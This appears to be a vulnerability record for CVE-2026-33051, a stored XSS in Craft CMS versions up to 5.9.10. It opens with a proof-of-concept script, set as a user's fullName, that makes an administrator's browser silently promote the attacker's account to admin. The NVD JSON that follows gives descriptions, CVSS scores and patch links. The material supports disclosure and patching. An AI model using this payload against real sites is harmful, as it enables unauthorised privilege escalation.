CVE-2026-33051

<!-- PoC for CVE-2026-33051: Stored XSS in Craft CMS Description: Set this payload as the user's fullName in the profile editor. Impact: Executes arbitrary JavaScript in the administrator's browser context. --> <script> // Example payload to escalate privileges // Replace ATTACKER_USER_ID with the actual ID of the attacker's account var attackerId = 'ATTACKER_USER_ID'; fetch('/admin/users/save', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' }, // Payload to promote user to admin (simplified structure) body: 'userId=' + attackerId + '&newGroup=admin' }).then(response => { console.log('Privilege escalation attempt completed.'); }); </script>

{"cve": {"id": "CVE-2026-33051", "sourceIdentifier": "[email protected]", "published": "2026-03-20T06:16:12.830", "lastModified": "2026-03-20T19:37:28.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Craft CMS is a content management system (CMS). In versions 5.9.0-beta.1 through 5.9.10, the revision/draft context menu in the element editor renders the creator’s fullName as raw HTML due to the use of Template::raw() combined with Craft::t() string interpolation. A low-privileged control panel user (e.g., Author) can set their fullName to an XSS payload via the profile editor, then create an entry with two saves. If an administrator is logged in and executes a specifically crafted payload while an elevated session is active, the attacker’s account can be elevated to administrator. This issue has been fixed in version 5.9.11."}, {"lang": "es", "value": "Craft CMS es un sistema de gestión de contenido (CMS). En las versiones 5.9.0-beta.1 a 5.9.10, el menú contextual de revisión/borrador en el editor de elementos renderiza el fullName del creador como HTML sin procesar debido al uso de Template::raw() combinado con la interpolación de cadenas de Craft::t(). Un usuario del panel de control con privilegios bajos (por ejemplo, Autor) puede establecer su fullName a una carga útil de XSS a través del editor de perfil, luego crear una entrada con dos guardados. Si un administrador ha iniciado sesión y ejecuta una carga útil específicamente diseñada mientras una sesión elevada está activa, la cuenta del atacante puede ser elevada a administrador. Este problema ha sido solucionado en la versión 5.9.11."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.9.0", "versionEndExcluding": "5.9.11", "matchCriteriaId": "57887AB6-8DFB-40B1-9BA2-497072A8E84F"}]}]}], "references": [{"url": "https://github.com/craftcms/cms/commit/f634a9d21edcafd83a6716047d275f985aba6be1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/craftcms/cms/releases/tag/5.9.11", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/craftcms/cms/security/advisories/GHSA-3x4w-mxpf-fhqq", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}